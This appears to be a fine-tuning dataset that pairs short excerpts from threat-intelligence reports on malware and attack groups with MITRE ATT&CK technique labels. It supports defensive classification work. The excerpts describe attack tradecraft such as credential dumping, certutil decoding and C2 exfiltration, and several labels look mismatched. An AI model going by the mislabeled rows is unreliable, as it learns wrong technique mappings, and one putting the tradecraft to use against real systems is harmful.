"The data is encrypted using a series of XOR and addition operations, followed by decompression using the ZLIB library",['T1573.001 - Symmetric Cryptography'],fine_tune
"If the user account doesn’t have local administrative or domain administrative permissions, the adversary attempts to discover which local or domain admin accounts exist, and exfiltrates the admin’s usernames. To identify if privileged users are active on remote servers, the adversary makes use of PsLogList from Microsoft Sysinternals to retrieve the Security event logs. The built-in Windows quser-command to show logged on users is also heavily used by them. If such a privileged user was recently active on a server the adversary executes Cobalt Strike’s built-in Mimikatz to dump its password hashes",['T1087.002 - Account Discovery: Domain Account'],fine_tune
"The macro prepends the string -----BEGIN CERTIFICATE----- to the beginning of the base64 encoded payload and appends -----END CERTIFICATE----- to the end of the data. The macro then writes this data to a text file in the C:\Programdata folder using a random filename with the .txt extension. The macro then uses the command certutil -decode to decode the contents of this text file and outputs the decoded content to a randomly named file with a .exe extension in the C:\Programdata folder. The macro sleeps for two seconds and then executes the newly dropped executable. Open-source Delivery Document Generator It appears that Sofacy may have used an open-source tool called Luckystrike to generate the delivery document and/or the macro used in this attack. Luckystrike, which was presented at DerbyCon 6 in September 2016, is a Microsoft PowerShell-based tool that generates malicious delivery documents by allowing a user to add a macro to an Excel or Word document to execute an embedded payload. We believe Sofacy used this tool, as the macro within their delivery document closely resembles the macros found within Luckystrike. To confirm our suspicions, we generated a malicious Excel file with Luckystrike and compared its macro to the macro found within Sofacy's delivery document. We found that there was only one difference between the macros besides the random function name and random cell values that the Luckystrike tool generates for each created payload",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
The first thing this malware does is it copies itself to the startup directory for persistence,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"In this blog post, we provide an in-depth analysis of Linux/Ebury. It is a sophisticated backdoor used to steal OpenSSH credentials and maintain access to a compromised server. According to previous reports, this backdoor has been in the wild for at least two years. Linux/Ebury comes in two different shapes: a malicious library and a patch to the main OpenSSH binaries. The malicious library is a modified version of libkeyutils.so. This shared library is loaded by all OpenSSH executables files such as ssh, sshd and ssh-agent. We will describe how the backdoor works and how the OpenSSH functionalities are hooked",['T1554 - Compromise Host Software Binary'],fine_tune
"Our latest Transparent Tribe research confirms that the group continues to create malicious domains mimicking defense-related entities as a core component of their operations. The victim is encouraged to click on an embedded URL hosted on sharingmymedia[.]com, which then downloads ObliqueRAT, the trojan discovered by Talos in 2020 associated with threat activity targeting entities in South Asia. We cannot confirm how the maldocs were delivered to victims, but we suspect they were probably sent as attachments to phishing emails based on previous threat actor behavior and the targeted nature of this particular lure. Security researchers previously discovered Transparent Tribe using sharingmymedia[.]com to host Android malware targeting Indian military and defense personnel.Figure 1: Maldoc masquerading as a congratulatory notice from CLAWS. In such cases, adversaries would deliver phishing maldocs to targets containing a malicious VBA macro that extracted either the CrimsonRAT executable or a ZIP archive embedded in the maldoc. The macro dropped the implant to the disk, setting up persistence mechanisms and eventually executing the payload on the infected endpoint. For example, attackers leveraging ObliqueRAT started hosting their malicious payloads on compromised websites instead of embedding the malware in the maldoc. Figure 2 shows the attackers' use of HTTrack, a free website copier program, to duplicate a legitimate website to use for their own malicious purposes. These examples highlight Transparent Tribe's heavy reliance on social engineering as a core TTP and the group's efforts to make their operations appear as legitimate as possible.Figure 2: Fake website cloned using HTTrack on May 29, 2020. The malicious domain prompts the victim to enter their name and email address to sign up and download a seemingly important ""guide on pay and allowance",['T1608.004 - Drive-by Target'],fine_tune
"It uses the string 5cd8f17f4086744065eb0992a09e05a2 as its mutex as well as its registry hive in the affected machine. It uses the value tcpClient_0 as its HTTP server, where it will receive all stolen information from the infected machine. However, since the value was set to null, all stolen information will be sent to the same C&amp;C server",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"The recording of audio data from the internal microphone is also rather new. Of course, other malware exists which can record audio, but key here is Flame’s completeness – the ability to steal data in so many different ways",['T1123 - Audio Capture'],fine_tune
"PipeMon’s first stage consists of a password-protected RARSFX executable embedded in the .rsrc section of its launcher. Once written to disk, the RARSFX is executed with CreateProcess by providing the decryption password in an argument, as follows",['T1106 - Native API'],fine_tune
"Finally, after the initial beaconing, receiving a configuration, and exfiltrating stolen information from the infected machine, AZORult may download the next payload. For example, in the campaign described at the beginning of this post, AZORult downloads Hermes 2.1 ransomware after it exfiltrates the victim’s data and credentials",['T1105 - Ingress Tool Transfer'],fine_tune
"While FIN7 has embedded VBE as OLE objects for over a year, they continue to update their script launching mechanisms. In the current lures, both the malicious DOCX and RTF attempt to convince the user to double-click on the image in the document, as seen in Figure 1. This spawns the hidden embedded malicious LNK file in the document. Overall, this is a more effective phishing tactic since the malicious content is embedded in the document content rather than packaged in the OLE object",['T1497.002 - User Activity Based Checks'],fine_tune
The Bazar Loader malware was using a code signing certificate signed by Digicert under the organization NOSOV SP Z O O,['T1588.003 - Code Signing Certificates'],fine_tune
"The sample checks that the machine is domain joined and retrieves the domain name before execution continues. A userID is generated by computing the MD5 of a network interface MAC address that is up and not a loopback device, the domain name, and the registry value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid",['T1016 - System Network Configuration Discovery'],fine_tune
"The worm also includes code to scan for open Docker API’s using masscan, then spin up docker images and install itself",['T1046 - Network Service Discovery'],fine_tune
"The campaigns use a TrickBot downloader that is signed and uses an icon to pretend it is a Microsoft Word document. To avoid suspicion, the decoy message suggests the user should update Microsoft Word or open the file from another computer",['T1036 - Masquerading'],fine_tune
"Sakula also leverages single-byte XOR encoding to obfuscate various strings and files embedded in the resource section, which are subsequently used for User Account Control (UAC) bypass on both 32 and 64-bit systems. Analysis . CTU researchers performed detailed analysis on 346 Sakula samples, including the installer and all dropped files used by the malware to run. Source: Dell SecureWorks) . Installation . In most of the samples collected by the CTU research team, Sakula maintains persistence by setting the registry Run key (SOFTWARE\Microsoft\Windows\CurrentVersion\Run\) in either the HKLM or HKCU hive. In the samples compiled in 2014, the adversary switched to adding the Run key by invoking cmd.exe: The registry value and filename vary by sample. Three of the analyzed samples placed files in %APPDATA%, while the remaining Sakula samples placed files in a directory under %ALLUSERSPROFILE%. A small number of samples did not use an additional subdirectory. The msi.dll file is configured to read and XOR-decode setup.msi, also located in the same directory, and run it in memory. Based on whether the compromised system is 32-bit or 64-bit, the appropriate file is written and run using cmd.exe calling rundll32 on the DLL with the PlayWin32 or PlayWin64 export. Center509671.dat). In a small group of Sakula samples from 2013, the install process also modified the hosts file to point some of the victim's subdomains to various IP addresses within the victim's own organization. The malware also registered a file as a command component within the registry. In the Sakula samples where the install process performed cleanup, the malware invoked cmd.exe",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"The initial attack did not produce the desired result; The attackers made a second attempt, with a ransomware payload named license.exe, launched from the same location. But before they launched it, they executed a script that disabled Windows Defender’s Real-Time Monitoring feature",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"The data found within this file is encrypted using a single-byte xor key of 0x41. The file header structure, with the underlying data still encrypted, can be seen below",['T1560.003 - Archive via Custom Method'],fine_tune
Since version 0.2.6 This function creates a Kerberos ticket with given user details and server (usually AZUREADSSOACC) password. Uses only user’s SID and server password,['T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket'],fine_tune
The NtdsAudit utility is an auditing tool for Active Directory databases. It allows the user to collect useful statistics related to accounts and passwords. The utility was found on various systems of a victim and matches the NtdsAudit.exe program file version v2.0.5 published on the GitHub project page,['T1201 - Password Policy Discovery'],fine_tune
"In addition to plainpwd and CredRaptor the toolkit includes a keylogger. The keylogger uses a standard technique to capture keystrokes, specifically the SetWindowsHookEx function",['T1056.001 - Input Capture: Keylogging'],fine_tune
"After the anti-analysis checks are complete, the loader starts preparing the infected environment for the downloading of additional payloads. There are 3 download attempts (and thus 3 GET requests trailing by a different numeric ID), the payloads are downloaded subsequently to the user’s %temp% folder",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"In 2018, CTU researchers observed several GOLD KINGSWOOD campaigns involving SpicyOmelette, a tool used by the group during initial exploitation of an organization. This sophisticated JavaScript remote access tool is generally delivered via phishing, and it uses multiple defense evasion techniques to hinder prevention and detection activities. GOLD KINGSWOOD delivered SpicyOmelette through a phishing email containing a shortened link that appeared to be a PDF document attachment. When clicked, the link used the Google AppEngine to redirect the system to a GOLD KINGSWOOD-controlled Amazon Web Services (AWS) URL that installed a signed JavaScript file, which was SpicyOmelette",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"Putty – can be leveraged by attackers for remote access, to exfiltrate data and send it back to attackers - PSExec – is a legitimate Microsoft tool that can be exploited by malicious actors and used for lateral movement across victim networks - SNScan – this tool can be used for network reconnaissance, to find other potential targets on victim networks - WinRAR – is an archiving tool that can be used to compress files (potentially to make them easier to send back to attackers) and also to extract files from zipped folders",['T1046 - Network Service Discovery'],fine_tune
"In order to execute the additional modules, the malware uses the process hollowing technique for hiding the malicious payload inside an allowlisted process, such as svchost.exe. The payloads are stored encrypted in the filesystem and decrypted in the memory as they are executed",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"The PowerShell chain is launched from an obfuscated JScript scriptlet previously downloaded from the command and control (C2) server and launched using cmstp.exe. PowerShell downloader The downloaded PowerShell script code is obfuscated in several layers before the last layer is reached. Beginning of the ""download and load"" shellcode The shellcode is relatively simple and begins with a XOR loop that deobfuscates the rest of the code",['T1027 - Obfuscated Files or Information'],fine_tune
"For example, ORat uses a WMI event consumer to maintain its presence on a compromised host. The group also creates and maintains scheduled tasks to achieve this purpose",['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
The communication between the cryptojacking bot and its mining server is made by using the Stratum protocol on port 10001 and is controlled by the execution of the spreadXfghij.exe program,['T1071 - Application Layer Protocol'],fine_tune
Observed Clop samples try to kill several processes and services related to backups and security solutions. Clop also leverages Code Signing to evade detection,['T1489 - Service Stop'],fine_tune
"For instance, the character A would be represented by the two characters 41, which is the hexadecimal representation of that character. The run command (1) creates the process cmd.exe /c with the command parameters appended and will write the output of the command in hexadecimal format to the file %APPDATA%\tmpCa.vbs. The Trojan will then read the hexadecimal formatted contents of this file in 1500 byte blocks, sending each 1500 bytes of data from the file to the C2 server via an HTTP GET request to a URL with the following structure: http://&lt;c2 domain&gt;/resp. hex(Environment.UserName/Environment.MachineName)&gt;AAZ&lt;hex(command prompt output)&gt; The upload command (2) writes data provided by the C2 to a specified file. hex(Environment.UserName/Environment.MachineName)&gt;AAZ&lt;hex(""File Uploaded"")&gt; The download command (3) reads the contents of a specified file and sends the data to the C2 server. If the file does not exist, the Trojan will send the C2 server a message &lt; File Not Found &gt; by sending the following URL: http://&lt;c2 domain&gt;/resp. hex(Environment.UserName/Environment.MachineName)&gt;AAZ&lt;hex(""&lt; File Not Found &gt;"")&gt; If the file exists, the Trojan will read the contents of the specified file and compresses the contents using the GZipStream class. The Trojan then gets the hexadecimal values of the compressed data and will replace the following hexadecimal values on each line with ASCII characters to further compressed the data",['T1560.003 - Archive via Custom Method'],fine_tune
"Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim's machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"These events will run respectively at 15:30:40 and when the system uptime is between 300 and 400 seconds. The variable $HL39fjh contains the base64-encoded PowerShell command shown in Figure 2. It reads the Windows Registry key where the encrypted payload is stored, and contains the password and the salt needed to decrypt the payload",['T1012 - Query Registry'],fine_tune
"This transport library does not appear on disk in its PE format. It is maintained as encrypted resource 107 in the orchestrator module, then decrypted and loaded by the orchestrator directly into the memory of the target process. This C2 interaction module is independent, once started, it interacts with the orchestrator using its local named pipe",['T1027 - Obfuscated Files or Information'],fine_tune
"Finally, OverWatch observed AQUATIC PANDA make multiple attempts at credential harvesting by dumping the memory of the LSASS process3 using living-off-the-land binaries rdrleakdiag.exe and cdump.exe — a renamed copy of createdump.exe. The threat actor used winRAR to compress the memory dump in preparation for exfiltration before attempting to cover their tracks by deleting all executables from the ProgramData and Windows\temp\ directories","['T1003.001 - OS Credential Dumping: LSASS Memory', 'T1560.001 - Archive Collected Data: Archive via Utility']",fine_tune
"The inclusion of both phone and IMSI numbers show the highly targeted nature of this cyber intrusion. If an SMS message contained either a phone number or an IMSI number that matched the predefined list, it was saved to a CSV file for later theft by the threat actor","['T1074.001 - Data Staged: Local Data Staging', 'T1119 - Automated Collection']",fine_tune
"The program CrashReporter.exe is heavily obfuscated with the ADVObfuscation library, renamed “snowman” (Obfuscated Files or Information [T1027]). When run, it checks for the Maintain parameter and collects the victim’s host information (System Owner/User Discovery [T1033]), encrypts the collected information with a hardcoded XOR key before exfiltration, and sends the encrypted information to a C2 website (Exfiltration Over C2 Channel [T1041]). The program also creates a scheduled SYSTEM task, named JMTCrashReporter, which runs CrashReporter.exe with the Maintain parameter at any user’s login (Scheduled Task/Job: Scheduled Task [T1053.005","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1027 - Obfuscated Files or Information']",fine_tune
"The function hashing algorithm is used to map a hash value of a given function name to its corresponding location in memory using a process known as Run-Time Dynamic Linking. Pre-computed hashes are passed to the hashing algorithm alongside the Windows library containing the related function name. Each function name within the library is hashed; when a match is found, its address is saved",['T1027 - Obfuscated Files or Information'],fine_tune
"As mentioned, the registry key (HKLM\SOFTWARE\Microsoft\DRM) is where the malicious payload is stored. In this case, this is the Pillowmint Trojan. Pillowmint is stored and compressed in the registry key",['T1027 - Obfuscated Files or Information'],fine_tune
"The ultimate goal of both Type A and B loaders is to de-obfuscate and load a Cobalt Strike Reflective Loader in memory. At the conclusion of the de-obfuscation process, both variants proceed to load the Reflective Loader in memory, which subsequently executes Cobalt Strike Beacon in memory","['T1027.002 - Obfuscated Files or Information: Software Packing', 'T1140 - Deobfuscate/Decode Files or Information', 'T1140 - Deobfuscate/Decode Files or Information']",fine_tune
"The second module is used by the operators to execute an obfuscated PowerShell script, which contains a Meterpreter downloader widely known as “Tinymet“. This downloader, seen in past FIN7 campaigns, downloads a one-byte XOR-encrypted (eg. with the key equal to 0x50 or 0x51) piece of meterpreter shellcode to execute",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
TrickBot sends the reconnaissance information from the target machine to a hardcoded C2 server. The C2 server is responsible for handling the stolen data,['T1041 - Exfiltration Over C2 Channel'],fine_tune
This can potentially bypass application whitelisting since all processes spawned during the attack are legitimate Microsoft executables,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Shlayer is perhaps the most talked about macOS malware at the moment and hit the news again recently after being caught sneaking past Apple’s macOS Notarization checks. That version of Shlayer was an interesting diversion: using a Mach-O binary written in C++ to execute a Bash shell script in memory. That might well suggest that Apple’s Notarization checks are static rather than dynamic as the telltale Shlayer code is only evident once the packed binary runs,['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
"IRON TWILIGHT’s email credential targeting system allows the threat group to target and exploit accounts for webmail services such as Gmail and Hotmail, as well as corporate email platforms that use webmail interfaces. When targeting email services that provide alternate methods to authenticate account access, such as Gmail’s use of OAuth, the threat actors may abuse this feature to maintain a persistent session with the compromised account",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"From these web shells, they launched reconnaissance commands, stole data, and dropped additional tools including portqry.exe, renamed cmd.exe, winrar, and the notorious hTran",['T1105 - Ingress Tool Transfer'],fine_tune
"kaudited — A file installed as /usr/bin/kaudited. This binary will drop and install several loadable kernel modules (LKMs) on the infected machine. To ensure that the infected machine won’t crash due to the kernel-mode rootkits, it uses different modules for specific kernel versions",['T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions'],fine_tune
"2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. 3) This file requires the target to attempt to open the .lnk file, which redirects the user to a Windows Scripting Component (.wsc) file, hosted on an adversary-controlled microblogging page. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs. 4) The .lnk file uses an embedded VBScript component to retrieve a decoy PDF file and a PowerShell script from the adversary-controlled web page",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"On January 8, 2018, Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East. In both attacks, the OilRig group attempted to deliver a new Trojan that we are tracking as OopsIE. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Interestingly, the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. In the January 16, 2018 attack, we observed OilRig attacking an organization it previously targeted in January 2017. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. The primary difference was that this sample was encrypted and password protected, requiring the victim to enter in a password which was likely provided by the adversary to view the document. Typically, password protected documents is commonly used by adversaries as an evasion tactic to bypass automated analysis mechanisms due to the password requirement for successful execution. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time",['T1204.002 - User Execution: Malicious File'],fine_tune
"In the list of dropped files, VMwareCplLauncher.exe is a legitimate, signed VMware executable that serves to ultimately deliver the BADNEWS payload. The vmtools.dll file is a modified DLL that both ensures persistence and loads MSBuild.exe, which is the BADNEWS malware renamed to spoof a legitimate Microsoft Visual Studio tool. After the files are dropped, the VMwareCplLauncher.exe executable is run, which in turn loads the vmtools.dll DLL file. This DLL file creates a scheduled task named BaiduUpdateTask1, which attempts to run the malicious, spoofed MSBuild.exe every subsequent minute. The technique of having a signed, legitimate, executable load a malicious library is commonly referred to as side-loading, and has been witnessed in a number of campaigns and malware families in the past. The flow of execution from the time the victim opens the malicious Microsoft Word document, to the execution of BADNEWS, may be seen below","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",fine_tune
"NavRAT is a remote access trojan (RAT) designed to upload, download and execute files. This screenshot shows the logs messages during the process injection with the API usage. NavRAT starts by copying itself (~emp.exe) to the %ProgramData%\Ahnlab\GoogleUpdate.exe path. NavRAT then creates a registry key in order to execute this file copy at the next reboot of the system, an initial method of persistence. The log files mentioned previously are stored in the same directory as NavRAT on the victim machine, again making it easy for us to find and analyse the additional log files. NavRAT has support for process injection. By using this method, it will copy itself into a running Internet Explorer process in order to avoid detection by running as an independent process",['T1055 - Process Injection'],fine_tune
"File hunting plugin: The most frequently used plugin, similar to one used in 2014. Often used to collect Office files from temporary internet history. Detailed survey plugin: Used to gather domain membership, processes/loaded modules, hardware enumeration, installed products, logical and mapped drive information. Evolution of earlier plugin used in 2014. Browser plugin: Used to steal browser history, stored passwords and sessions. Works with Internet Explorer, Chrome, Opera, Firefox, Torch, and Yandex. File listing plugin: Works on local or remote drives and can map additional paths when given credentials",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"X-Session: 0""). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. The malware can be configured to use multiple network protocols to avoid network-based detection. DLL side loading is often used to maintain persistence on the compromised system. Its presence on a compromised system allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes. DLL side loading has been used to maintain persistence on the compromised system. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. The server-side component provides a simple graphical user interface for threat actors interacting with web shells. TG-3390 has used additional web shells containing similarly formatted passwords",['T1105 - Ingress Tool Transfer'],fine_tune
"After this registry change, ShowCompColor and ShowInfoTip keys are also modified to disable the display of compressed and encrypted NTFS files in color. This setting allows you to see compressed files in a blue color",['T1112 - Modify Registry'],fine_tune
Determine whether the victim’s host machine is running Windows with an x86 or x64 architecture. Parse the contents of a corresponding textbox within the document and convert it to a command line argument specific to the Windows architecture on the victim’s machine,['T1082 - System Information Discovery'],fine_tune
"It was used to overwrite data by the BE2 actor, destroying data stored on hard drives by overwriting file contents. While its use may be intended to cover their tracks, it is heavy handed to use this type of tool to cover one’s tracks in a network. Most likely it is a tool of sabotage, much like the Destover wiper seen on Sony Pictures Entertainment’s networks. Instead of re-using the commercial EldoS RawDisk drivers in their malware, the BE2 developers wrote their own low-level disk and file destruction routines",['T1485 - Data Destruction'],fine_tune
"After successfully exporting mail they wished to steal, the attacker would remove the evidence of the export request using Remove-MailboxExportRequest",['T1070 - Indicator Removal on Host'],fine_tune
"Once executed, NavRAT will immediately leverage cmd.exe to perform a systeminfo and a tasklist check on the system it is running on while writing the output to a TMP file, once again attempting to hide within an AhnLab folder. Interestingly, the attacker has used the &gt;&gt; method to append to the file so there can be multiple outputs written to their single TMP file",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"However, what happened was that the actor resized the Certificate Table in the digitally signed ‘vac.dll’ and inserted their own data in the Certificate Table so it doesn’t affect the digital signature",['T1553.002 - Code Signing'],fine_tune
"Tomiris is a backdoor written in Go whose role is to continuously query its C2 server for executables to download and execute on the victim system. Before performing any operations, it sleeps for at least nine minutes in a possible attempt to defeat sandbox-based analysis systems",['T1497.003 - Time Based Evasion'],fine_tune
The observed JSS Loader infection led to the download and execution of a setup VBScript from https[:]//petshopbook[.]com. This script installs a custom Sekur PS stager to %LOCALAPPDATA%\Microsoft\WindowsDefender\ClearTemp.ps1 and establishes persistence for this stager with a second VBS that is launched by a scheduled task,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"We found four different trojaned binaries in use since July 2019. The 5kplayer, driver pack and Firefox trojanized software use a service to achieve persistence. The VPNpro trojanized application uses an AutoRun registry key, as mentioned in the publication released before July 2019. After that, it will check if ESET or BitDefender antivirus are installed before dropping the malware",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"Security researchers previously discovered Transparent Tribe using sharingmymedia[.]com to host Android malware targeting Indian military and defense personnel.Figure 1: Maldoc masquerading as a congratulatory notice from CLAWS. Figure 2 shows the attackers' use of HTTrack, a free website copier program, to duplicate a legitimate website to use for their own malicious purposes. These examples highlight Transparent Tribe's heavy reliance on social engineering as a core TTP and the group's efforts to make their operations appear as legitimate as possible.Figure 2: Fake website cloned using HTTrack on May 29, 2020. Lures and targeting . Transparent Tribe uses a variety of themes in their lures that evolved over time. Defense-themed lures . Transparent Tribe has historically used military and defense-themes in their phishing emails and maldocs to target Indian military and government personnel. Figure 6: Transparent Tribe's spear-phishing email targeting defense personnel. HoneyTraps . Transparent Tribe consistently uses alluring documents and file names, commonly referred to as honeytraps, to trick victims into executing malicious content on their endpoints. Transparent Tribe also delivers malicious archives containing CrimsonRAT executables using various themes, including honeytraps. Conclusion . Transparent Tribe relies heavily on the use of maldocs to spread their Windows implants. Transparent Tribe uses generically themed content-hosting domains as well as malicious domains masquerading as legitimate defense-related websites",['T1189 - Drive-by Compromise'],fine_tune
An interesting fact is that the ransomware enumerates all running processes and compares the hashed name of each process with embedded hash values,['T1057 - Process Discovery'],fine_tune
"Once the macro collected all the information, it sends the data to the C2 server over an HTTP POST request",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"The threat actor gave considerable effort to obfuscating the code of this new Anchor_DNS variant using stack strings, string encryption, and by implementing a packer. The following example shows considerable changes in the code of the WinMain() function between an older variant of Anchor_DNS and the new variant",['T1027 - Obfuscated Files or Information'],fine_tune
The main function within the ISMInjector assembly uses the Joiner module to construct the final payload and the Inner module to inject the final payload into a process. Figure 4 shows the ISMInjector’s main function that uses the two modules to carry out its injection process before exiting,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"Forensic examination of a computer infected with a banking trojan Oleg Skulkin Senior Digital Forensics Analyst at Group-IB Where did it all start. Since then, phishing emails distributing the trojan have been sent to potential victims with admirable persistence. In this article, I am going to show how to perform forensic analysis of an image of a computer infected with the RTM banking trojan. Let's try to find registry files, such as SOFTWARE, for example. Let's recall Jesse Kornblum's paradox: ""Malware can hide, but it must run"". A good start will be to look for potential persistence mechanisms that can be used by the malware to restart after reboot. Let's start with simple things: we will take the NTUSER.DAT registry file with the latest modification date from the user directory (C:\Users\%username%\), and extract data from it using RegRipper. Let's start with low-hanging fruits, the so-called run keys: The partition was last modified on November 7th, and we see that when a user logs in, the apg.exe file is executed from a very suspicious location. Let's see what else we can find in the b7mg81 directory: TeamViewer. Let's take a closer look at apg.exe and use PPEE: This looks like TeamViewer and is signed as TeamViewer, so does this mean it indeed is TeamViewer. Another interesting file is TeamViewer.ini: Here is anti-forensics: according to the configuration file, our ""TeamViewer"" did not keep any logs, and was apparently used as a RAT (Remote Access Trojan). Well, not bad",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"The attackers manually send a command to the JS or C# component to drop and execute a batch file from one of their servers. That batch file writes a malicious INF file and supplies it as a parameter to the Microsoft utility cmstp.exe, which executes a remote scriptlet specified in the INF file. The remote scriptlet contains obfuscated JS code that drops an OCX file and executes it via regsvr32.exe",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
"Almost exclusively, Unit 42 has seen the use of weaponized documents that require user execution. Only once in the last six months have we seen use of exploits to circumvent the need for the user to execute any part of the installation chain",['T1203 - Exploitation for Client Execution'],fine_tune
The attacker created password-protected archives on the victims' OWA server so that they could be exfiltrated via a simple HTTP request,['T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol'],fine_tune
"This extreme level of variance was also applied to non-executable entities, such as WMI persistence filter name, WMI filter query, passwords used for 7-zip archives, and names of output log files. Camouflage and blending into the environment. ADFIND legit tool) were always renamed and placed in folders that mimicked existing programs and files already present on a machine. This blending was not just used for files, but for other elements. For example, WMI persistence filters were created with names and queries matching other scripts present in affected organizations. The firewall rules were also methodically removed after the network reconnaissance was completed. Lateral movement activities were never executed without preparation. To increase the likelihood that their activities remain undetected, the attackers first enumerated remote processes and services running on the target host and decided to move laterally only after disabling certain security services",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"Finally, REvil ransomware marks its binary code for deletion during the next reboot and terminates execution",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"For example, we recently disclosed the activities of one of those teams (dubbed Tsar team) surrounding the use of mobile malware. This team has previously launched campaigns targeting the United States and European intelligence communities, militaries, defense contractors, news organizations, NGOs and multilateral organizations. It has also targeted jihadists and rebels in Chechnya",['T1027 - Obfuscated Files or Information'],fine_tune
"ESET has recently discovered that the BlackEnergy trojan was recently used as a backdoor to deliver a destructive KillDisk component in attacks against Ukrainian news media companies and against the electrical power industry. In this blog, we provide details on the BlackEnergy samples ESET has detected in 2015, as well as the KillDisk components used in the attacks. Furthermore, we examine a previously unknown SSH backdoor that was also used as another channel of accessing the infected systems, in addition to BlackEnergy",['T1133 - External Remote Services'],fine_tune
"Given this extended period, it is logical to assume that some credentials obtained by the threat actor would be rotated during normal business operations. To combat this, the threat actor periodically “refreshed” their credential set by performing credential theft activities in an already compromised environment. At one victim, CrowdStrike identified multiple instances of domain credential theft months apart, each time with a different credential theft technique",['T1589.001 - Credentials'],fine_tune
"Case in point: Last week, we came across a worm (detected by Trend Micro as Worm.Win32.BLADABINDI.AA) that propagates through removable drives and installs a fileless version of the BLADABINDI backdoor",['T1120 - Peripheral Device Discovery'],fine_tune
"The TrickBot modules used for discovery include networkdll and psfin. TrickBot downloads modules for collecting local system information and scouting the network, primarily part of the networkdll module. This module has a battery of command line, WMI and LDAP queries to gather information, and then exfiltrate the data to GRIM SPIDER for review. The psfin module has a similar purpose but specifically searches for financial and point-of-sales indicators","['T1047 - Windows Management Instrumentation', 'T1074 - Data Staged', 'T1018 - Remote System Discovery']",fine_tune
"The core Karagany implant does not delete any of the plugins it downloads, although some of the plugins are designed to self-delete. This oversight facilitates high-fidelity forensic analysis of the majority of plugin activity carried out over the duration of the intrusion and allows a detailed timeline of threat actor activity to be compiled. The malware also creates a directory that is used for storing both plugin output data and to stage data for exfiltration. The ascending numerical value of these directories likely indicates malware versioning",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"The second portion of EnvyScout is a modified version of the open-source tool FileSaver, which is intended to assist in the writing of files to disk via JavaScript. This methodology may circumvent static analysis of known malicious file types by obscuring them within dynamically altered content upon execution",['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
"It can terminate IDA debugger, x32dbg, OllyDbg and more processes to avoid dynamic analysis, close databases, office programs and security tools",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"OwaAuth is a web shell that is installed as an ISAPI filter on Exchange servers and shares characteristics with the ChinaChopper web shell. In addition to acting as a web shell, the malware captures and DES-encrypts credentials before writing the username and password to disk. The OwaAuth web shell enables a threat actor to upload and download files, launch processes, and execute SQL queries","['T1056.001 - Input Capture: Keylogging', 'T1505.003 - Server Software Component: Web Shell']",fine_tune
